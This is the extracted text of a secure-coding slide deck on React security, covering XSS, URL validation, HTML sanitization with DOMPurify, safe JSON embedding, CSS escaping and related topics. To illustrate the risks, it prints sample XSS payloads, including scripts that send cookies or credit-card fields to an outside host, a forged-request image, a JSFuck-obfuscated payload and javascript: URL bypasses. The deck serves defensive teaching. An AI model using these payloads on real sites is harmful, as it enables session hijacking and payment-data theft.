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React Security
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WARNING:  Please do not attempt to hack any computer system
without legal permission to do so. Unauthorized computer hacking
is illegal and can be punishable by a range of penalties including
loss of job, monetary fines and possible imprisonment. 

ALSO:  The Free and Open Source Software presented in these materials are 
examples of good secure development techniques. You may have unknown 
legal, licensing or technical issues when making use of Free and Open Source 
Software. You should consult your company's policy on the use of Free and 
Open Source Software before making use of any software referenced in this 
material.



© 2023 MANICODE SECURE CODING EDUCATION     3

React Top Ten Learning Objectives

What is React – What are the Top Security Domains Developers Encounter

For Each One of the React Security Domains

Key Concepts and Definition 

Challenges with this Risk

Examples – Good & Bad Code in Pseudocode

Best Protection Strategies 
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A Little Background Dirt…

jim@manicode.com

      @manicode

▪ Former OWASP Global Board Member

▪ 25+ years of software development experience

▪ Author of Iron-Clad Java, Building Secure Web 
Applications from McGraw-Hill/Oracle-Press

▪ OWASP Project Leader
▪ OWASP Cheat Sheet Series

▪ OWASP Application Security Verification Standard
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What is React & 
What are the Top Security Domains
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What is React?

React.js : The React JavaScript Library

▪ JavaScript library for UI development created by Facebook

▪ Component-based architecture

▪ Virtual DOM for efficient updates

▪ Declarative UI approach

▪ Unidirectional data flow

▪ Active community, continuous updates
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KEY CONCEPTS

• View Source

• Content Injection and XSS

REACT COMPONENT ATTACK SURFACE
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View-Source into 
Client-Side React Code

• Hardcoded Secrets

• Excessive Permissions

• Usage of Unsafe React Lifecycle Methods

• Direct DOM Manipulation

• Inline Scripting and eval()

• Ignoring Prop Types and Validation

• Storing Sensitive Data in Client-Side Storage

• Using Deprecated or Vulnerable Packages

• Misusing Third-Party Libraries

• Not Validating External URLs
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R1
Cross Site

Scripting

R2
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Dependencies
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React developers who have 

learned to master these 

domains are

Web UI Security Champions



© 2023 MANICODE SECURE CODING EDUCATION     12

R1: Cross Site Scripting
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Real World XSS Attacks

1. British Airways (2018): Magecart exploited an XSS vulnerability in a JavaScript  
library, Feedify, used on the British Airways website. The result? A whopping 
380,000 credit cards skimmed.

2. Fortnite (2019): An XSS vulnerability on a retired, unsecured page exposed the data 
of over 200 million users. A classic case of an oversight leading to a security 
nightmare.

3. eBay (2015-2017): A severe XSS vulnerability was found in eBay's 'url' parameter. 
This flaw allowed attackers to inject malicious code into a page, gaining full access 
to seller accounts, manipulating listings, and stealing payment details. The attacks 
continued until 2017, even after the initial remediation.

4. More real-world XSS https://portswigger.net/daily-swig/xss 

https://portswigger.net/daily-swig/xss
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Reflected XSS Flow

Hacker sends 

link to victim. 

Link contains 

XSS payload.

1

Victim views 

page via XSS 

link supplied 

by Hacker.

2

XSS code executes on 

Victim’s browser and 

sends cookie

to evil server.

3

Cookie is stolen. 

Hacker can hijack the 

Victim’s session.

4

https://site.com?data=<script>

<script>
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Stored XSS Flow

2

3

4

1

<script>

<script>

<script>
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<script>

var 

badURL='https://manicode.com?data=' 

+ uriEncode(document.cookie);

new Image().src = badURL;

</script>

Cookie Theft XSS

HTTPOnly could prevent this!
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<script>

var badURL='https://manicode.com?data=' + 

uriEncode(document.getElementById('credit-

card')).value;

new Image().src = badURL;

</script>

Credit Card Theft XSS

HTTPOnly will NOT prevent this!



© 2023 MANICODE SECURE CODING EDUCATION     19

LocalStorage and SessionStorage Theft
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XSS Attack: Same Site Request Forgery

<Script>

var img = document.createElement("img");

img.src = 

"https://webmail.com/send/boss@email.com?s

ubject=hey&body=you-are-a-jerk";

</Script>
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Keystroke Logger
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EXAMPLE

Good code Bad code User defined input

<script>

var badteam = "The Patriots";
var awesometeam = "Any other team ";

var data = "";

for (var i = 0; i < 100; i++) { 

  data += "<marquee><b>";

  for (var y = 0; y < 8; y++) {

    if (Math.random() > .6) {

      data += badteam + " kick worse than my mom!";

    } else {

      data += awesometeam + " is obviously totally 
awesome!";

    }

}

data += "</h1></marquee>";}

document.body.innerHTML=(data + "");

</script>

SITE DEFACEMENT XSS
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XSS With No Letters or Numbers!
https://www.jsf**k.com/ 

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[

]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]

])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+

(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+

!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![

]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]

+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[

+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!

[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![

]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[

]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![

]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(!

[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])

[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(

!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[

])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

https://www.jsfuck.com/
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polyglot XSS for any UI location
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show login then rewrite all forms to evil.com 
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Auto Escaping (JSX)

Auto-escaping is a security layer in React to 
help prevent XSS.

Auto-escaping will not protect you 
completely. 

There are ways an auto-escaped string can 
still be used to execute Javascript.
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XSS Attack: Cookie Theft : RAW vs ENCODED  { x }

<script>

var badURL="https://manicode.com?data=" + 

encodeURIComponent(document.cookie);

var img = document.createElement("IMG");

img.src = badURL;

</script>

&lt;script&gt;

var badURL=&quot;https://manicode.com?data=&quot; + 

encodeURIComponent(document.cookie);

var img = document.createElement(&quot;IMG&quot;);

img.src = badURL;

&lt;/script&gt;
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The second and third argument to React.createElement will auto-escape.

That isn't enough to avoid element specific attribute injection attacks when prop 

values are attacker controlled, validation needs to occur.

Auto Escaping with ReactJS
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React and Dangerous Props

import React from 'react'; 

const MyComponent = ({ content, attribute }) => { 

return <div data-attribute={attribute}>{content}</div>;}; 

export default MyComponent;

31
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Safe HTML Attributes

https://github.com/mganss/HtmlSanitizer

https://github.com/mganss/HtmlSanitizer
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Dangerous 
React

When 
Autoescaping 
Fails

React.createElement(danger, maybe-danger, safe) 
prop or type values

dangerouslySetInnerHTML

javascript: or data: URL's

values passed into CSS

Embedded JSON

Building React Templates with Server Side Data
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What does it take to build secure React apps?

•Validation checks if data is valid 
and rejects it if it is notValidation

•Cleans out data and removes the 
bad stuffSanitization

•Converts data to a equivalent 
form that is safe for the given useEncode
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What does it take to build secure React apps?

Validation

•URL input

Sanitization

•HTML Input

Encode

•CSS variables, embedding JSON, { }
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Auto Escaping with Svelte
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R2: Dangerous URL's
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What does it take to build secure React apps?

Validation

•URL input

Sanitization

•HTML Input

Escape

•CSS variables, embedding JSON, { }
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var userHomepage = 

"https://jimscatpictures.com"

<a href={userHomepage}>Homepage</a>

Bypassing Auto Escaping (JSX)

javascript:document.body.innerHTML='D

ogs-Are-Awesome';
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URL is not validated properly!

props, Auto Escaping with JSX
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Default Linter Rules in create-react-app
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Web Browser Console Warnings Since React 16
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https://github.com/facebook/react/blob/v18.2.0/package

s/react-dom/src/shared/sanitizeURL.js 

Deny List Regex for JavaScript URLs

https://github.com/facebook/react/blob/v18.2.0/packages/react-dom/src/shared/sanitizeURL.js
https://github.com/facebook/react/blob/v18.2.0/packages/react-dom/src/shared/sanitizeURL.js
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var userHomepage = 

"https://jimscatpictures.com"

<a href={userHomepage}>My 

Homepage</a>

javascript:document.body.innerHTML

='Dogs-Are-Awesome';

Bypassing Auto Escaping (JSX)



© 2023 MANICODE SECURE CODING EDUCATION     45

Safe untrusted URL handling in React.js



© 2023 MANICODE SECURE CODING EDUCATION     46

Safe untrusted URL handling in React.js
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Safe URL Rendering
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Safe untrusted URL handling in Svelte
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Safe untrusted URL handling in Svelte
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R3: Rendering HTML
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What does it take to build secure React apps?

Validation

•URL input

Sanitization

•HTML Input

Escape

•CSS variables, embedding JSON, { }
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This example displays all plugins and buttons that come with the TinyMCE package.

Source output from post
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Rendering User-
Driven HTML

Auto-escaped raw HTML just looks 
like HTML on screen

dangerouslySetInnerHTML disables 
autoescaping (which is dangerous)

Consider sanitizing untrusted HTML
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Use DOMPurify to Sanitize Untrusted HTML
Client-Side Sanitization

https://github.com/cure53/DOMPurify

DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, 
MathML and SVG. 

DOMPurify works with a secure default, but offers a lot of configurability and 
hooks.

Very simply to use

Demo: https://cure53.de/purify

<div dangerouslySetInnerHTML={{__html: 
DOMPurify.sanitize(“<script>alert(‘xss!’);</script>“)}} />

https://github.com/cure53/DOMPurify
https://cure53.de/purify
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Limit 
DOMPurify 
for <img> 

tag locations
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BEST PROTECTION STRATEGIES

DOMPurify.sanitize

BAD

<div dangerouslySetInnerHTML={{__html: 
"<script>alert('xss!');</script>}"} /> 

GOOD

<div dangerouslySetInnerHTML={{__html: 
DOMPurify.sanitize("<script>alert('xss!');</script>")}}/>
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BEST PROTECTION STRATEGIES

Svelte sample component for HTML Input

<script>
  import { onMount } from 'svelte';
  import DOMPurify from 'dompurify';

  export let htmlContent = "";

  let sanitizedContent = "";

  onMount(() => {
    sanitizedContent = DOMPurify.sanitize(htmlContent);
  });
</script>

<div>{@html sanitizedContent}</div>
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BEST PROTECTION STRATEGIES

Using a Svelte HTML Component

<script>
  import SanitizedContent from './SanitizedContent.svelte';

  let userGeneratedHtml = `<script>alert('XSS')</script><p>Safe content</p>`;
</script>

<SanitizedContent {userGeneratedHtml} />
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R4: Securing JSON
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What does it take to build secure React apps?

Validation

•URL input

Sanitization

•HTML Input

Escape

•CSS variables, embedding JSON, { }
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Pre-Fetching Data to Render in ReactJS

A popular performance pattern is to embed preload JSON to save a round trip.

window.__INITIAL_STATE__

window.__PRELOADED_STATE__

JSON.stringify(state) is commonly cited in documents as the answer.

DON'T DO THIS! IT WILL LEAD TO XSS!
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Dangerously Pre-Fetching Data in React

<script>

window.__INITIAL_STATE = <%= JSON.stringify(initialState) %>

</script>

<script>

window.__INITIAL_STATE = {"address1": "</script>'}<script>alert(1);a='x';{"}

</script>



© 2023 MANICODE SECURE CODING EDUCATION     63

Pre-Fetching Data to Render in ReactJS Safely

Serialize embedded JSON with a safe serialization 

engine

Node: https://github.com/yahoo/serialize-javascript

Example: 

<script>window.__INITIAL_STATE = 

'serialize(initialState)'</script>

https://github.com/yahoo/serialize-javascript
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https://github.com/yahoo/serialize-javascript

• Serialized code to a string of literal JavaScript which can be embedded in an 
HTML document by adding it as the contents of the <script> element. 

▪ serialize({ haxorXSS: '</script>' });

▪ encodeJSON({ haxorXSS: '</script>' });

▪ encodeJS({ haxorXSS: '</script>' });

• The above will produce the following string, JS escaped output which is safe to 
put into an HTML document:

▪ '{"haxorXSS":"\\u003C\\u002Fscript\\u003E"}
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Pre-Fetching Data to Render in ReactJS Safely

Encode embedded JSON with a safe JSON encoding 

engine

Example: 

<script>

window.__INITIAL_STATE =

 '<%= serialize(initialStateJSON) %>';

</script>



© 2023 MANICODE SECURE CODING EDUCATION     66

Pre-Fetching Data to Render in ReactJS Safely

Encode embedded JSON with a safe JSON encoding 

engine

Example: 

<script>

window.__INITIAL_STATE =

 '<%= encodeJSON(initialStateJSON) %>';

</script>
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Pre-Fetching Data to Render in ReactJS Safely

Encode embedded JSON with a safe JSON encoding 

engine

Example: 

<script>

window.__INITIAL_STATE =

 '<%= Encoder.encodeForJS(initialStateJSON) %>';

</script>
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R5 : Dangerous Styles
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NOT THIS STYLES (but still dangerous)
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What does it take to build secure React apps?

Validation

•URL input

Sanitization

•HTML Input

Escape

•CSS variables, embedding JSON, { }
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https://github.com/maxchehab/CSS-Keylogging/blob/master/css-keylogger-extension/keylogger.css

Attacker controlled CSS

https://github.com/maxchehab/CSS-Keylogging/blob/master/css-keylogger-extension/keylogger.css


© 2023 MANICODE SECURE CODING EDUCATION     73



© 2023 MANICODE SECURE CODING EDUCATION     74

BEST PROTECTION STRATEGIES

CSS.escape

DEFENDING AGAINST ATTACKER CONTROLLED CSS
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CSS.escape()

▪ const element = document.querySelector(`#${CSS.escape(id)} > img`);

▪ Browser compatibility 
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CSS Escape in 
Action
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R6: Insecure Native DOM Access 
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Please Do Not –Edit- the DOM Via Ref's

• Manipulate DOM elements directly with Ref's like 
createRef(). Bad.

• Programatic focus, scrolling or click-away handlers? 
Good.

• findDOMNode() and read only access? Good.

• Actually editing the DOM, BAD
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Safe JavaScript Sinks

Setting a Values

▪ elem.textContent = dangerVariable;

▪ elem.insertAdjacentText(dangerVariable);

▪ elem.setAttribute(safeName, dangerVariable); 

▪ formfield.value = dangerVariable;

▪ document.createTextNode(dangerVariable);

▪ document.createElement(dangerVariable);

▪ elem.innerHTML =

OK OK OK OK

DOMPurify.sanitize(dangerVar);

#cantStop

#wontStop

OK
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R7: Access Control and Exposure Failures
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The Principle of Least Privilege 

Every module must be able to ONLY access the information and resources it 
requires 

▪ Resources made available only for what is are necessary for legitimate 
purposes

“Every program and every privileged user of the system should operate using the least amount of 
privilege necessary to complete the job. ”

 — Jerome Saltzer, Communications of the ACM

▪ Also known as the principle of minimal privilege or the principle of least 
authority

https://en.wikipedia.org/wiki/Jerome_H._Saltzer
https://en.wikipedia.org/wiki/Communications_of_the_ACM
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Problems with Client Side Access Control 

▪ They can leak administrative interface and endpoint information that can be 
used by a malicious attacker 

Similar to a normal static HTML application, do not expose administrative functionality within your React 
app if the user is not authenticated as an administrator

▪ They expose business logic, thus increasing the attack surface 

As the principle of least privilege states, only expose business logic necessary based on the role of the user 
within the React app

▪ Can be easily bypassed – client side controls should be considered as untrusted 

Obfuscation and other similar techniques can stall an attacker, but ultimately they will figure out the logic of 
your client and use it against you
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Lazy Loading – 
Design Pattern 

▪ Does not expose any code to the client 
at first, defers object initialization 

▪ Dynamically loaded when needed

▪ Example: Deferring loading images 
until required to display them 

▪ Server side access controls can 
prevent admin code from being 
displayed to a non admin!

▪ It is also known as asynchronous 
loading or on-demand loading 
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R8: Vulnerable and Outdated Versions & 
Dependencies
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React Version https://www.npmjs.com/package/react 

• All applications should endeavor to use the latest version of React.

• There was a flaw in all of the React versions prior to 0.14 that left 
applications opened to a XSS vulnerability under certain 
circumstances. 

• If there is a reason why you can't upgrade to 0.14, you can still 
manually protect yourself from this vulnerability.

https://www.npmjs.com/package/react
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Third Party ReactJS Components

• Third party components typically do not come with any 
security guarantee

• Always do a security audit of third party components 
before putting them into your application

• Just because a component has lots of stars on GitHub 
doesn’t mean anyone has done a proper security audit

• Use automation to verify JS and other dependencies are 
updated and not vulnerable
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Check your JavaScript Dependencies 

▪ 3rd party components you are using HAVE SECURITY ISSUES. 

▪ Check your dependencies and update them 

▪ Integrate the way you check for vulnerabilities into your continuous integration 
process
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Check Dependencies for Dangerous Calls 

▪ Avoid dependencies that use:

▪ dangerouslySetInnerHTML

▪ innerHTML, 

▪ unvalidated URLs 

▪ other unsafe patterns

▪ Avoid libraries that insert HTML directly into the DOM.

▪ Prefer libraries like react-markdown that use the React API to constructed elements 
rather than dangerouslySetInnerHTML

▪ https://www.npmjs.com/package/react-markdown  

https://www.npmjs.com/package/react-markdown
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JavaScript 3rd Party Management Tools

▪ Retire.js (JavaScript 3rd party library analysis)

▪ https://retirejs.github.io/retire.js/

▪ Scan your project for vulnerabilities

▪ https://docs.npmjs.com/cli/audit

▪ ESLint

▪ https://eslint.org/ 

https://retirejs.github.io/retire.js/
https://docs.npmjs.com/cli/audit
https://eslint.org/
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R9: Insecure Client-Side Logging
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Introduction 

▪ Client-Side Logging is absolutely essential for building a successful application with a 
great user experience

▪ During development and testing:

The default console provides a great way to capture feedback about what is happening 
within our React running code

▪ Once deployed into production:

We have no access to the default console on the client-side and typically need to build 
logging for capturing usage and error data for our React app
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Client-Side Threats on Logger.js

▪ Do not log authentication credentials and cookies
import log from 'loglevel'; 

log.info(‘Your username is: Jim’); 

log.warn(‘Your password is: Password1’);

▪ Decide your log levels based on component criticality 
const customJSON = log => ({

 msg: log.message,

 level: log.level.label,

 stacktrace: log.stacktrace

});

▪ Consider the threats and perform a threat assessment: 
How can client-side logging be exploited by an attacker? 
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Server-side Threats on /logger URL Endpoint 

▪ The “/logger” endpoint on your application URL, should not be an afterthought 

remote.apply(log, { format: customJSON, url: '/logger' }); 

▪ Be careful what queries you allow on the /logger endpoint

Enforce POSTing and API tokens if applicable

▪ Decide and plan how you will receive, store and organize logs

▪ Consider all logging data you receive from the client as untrusted

▪ Be ready to handle scale!

▪ How will your React app cope if the /logger endpoint is DDoSed? 

▪ How will your /logger endpoint cope if it receives 1 million JSON objects per second? 

▪ Careful of client freezing when logging endpoint is slow to respond or down!

▪ Consider the threats and perform a threat assessment

▪ Log Injection

▪ Access control problems

▪ Session Management
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CHALLENGES A09:2021 – SECURITY LOGGING AND MONITORING FAILURES

Developers are often unaware of the many security events that 
need to be logged

▪ Appropriate alerting thresholds and response escalation processes are not in place 

or effective.

▪ This can lead to applications that cannot detect, escalate, or alert for attacks or 

suspicious activity

Security Operations Centre (SOC) teams often do not onboard 
application-level logging correctly
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▪ authn_impossible_travel[:userid,region1,region2]

▪ authn_token_reuse[:userid,tokenid]

▪ authz_fail[:userid,resource]

▪ upload_validation_failure[filename,(virusscan|imagemagick]

▪ malicious_extraneous:[userid|IP,inputname,useragent]

▪ malicious_attack_tool:[userid|IP,toolname,useragent]

▪ malicious_cors:[userid|IP,useragent,referer]

▪ malicious_direct_reference:[userid|IP, useragent]

Sample Critical Events

https://cheatsheetseries.owasp.org/cheatsheets/Logging_Vocabulary_Cheat_Sheet.html 

https://cheatsheetseries.owasp.org/cheatsheets/Logging_Vocabulary_Cheat_Sheet.html
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CAUTION
Be sure developers and security teams work together to ensure good security logging

VERIFY
Verify that proper security events are getting logged and consumed properly by your SOC teams

GUIDANCE
https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html 

https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html 

https://cheatsheetseries.owasp.org/cheatsheets/Application_Logging_Vocabulary_Cheat_Sheet.html
https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html
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R10: Insecure Server-Side Rendering
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Understanding Server-Side Rendering 

➢Server-Side Rendering (SSR) use the React framework to assemble the HTML on 
the server and then delivers that complete HTML to the client 

▪ SSR is popular as it improves performance, even though it can increase the 
complexity of your application
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Secure Server-Side Rendering

▪ Use the renderTo functions, they are SAFE and do all the content escaping for 
you – as long as you follow the previous core React security concepts!
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The Most Common Mistake in Server-Side Rendering

Do not concatenate the potentially safe renderTo functions with variables 
with raw user controlled data 

▪ raw + renderToString()

▪ raw + renderToStaticMarkup()
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Vulnerable React Template Injection
avoid dynamically creating react templates with user data

<html>

<head>

<script>

function Welcome(props) {

  return <h1>Hello, {props.name}</h1>;

}

<%

 String name = request.getParameter("name");

%>

const element = <Welcome name="<%= name %>" />;

ReactDOM.render(

  element,

  document.getElementById('root')

);

</body>

</html>

Attack:  "/>; var img = document.createElement("img");

img.src = "https://webmail.com/send/boss@email.com?subject=hey&body=you-are-a-jerk";
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Conclusion on React Security
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Use Linters to Check your Code and Libraries

▪ Linters analyse your code looking for problems 
▪ They help diagnose and fix issues before final release, fewer defects make it into production

▪ Security Linters provide important security verifications for your code

▪ Examples of Linters for Statis Analysis: StandardJS for JavaScript

▪ Examples of Linters for Security: LGTM for several languages, including JavaScript

▪ ESLint is a great tool for React

npm install eslint –global

npx eslint --init

Then select React as 
the framework that 
ESLint will scan
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It’s been a pleasure

jim@manicode.com
JIM MANICOSecure Coding Instructor                   www.manicode.com
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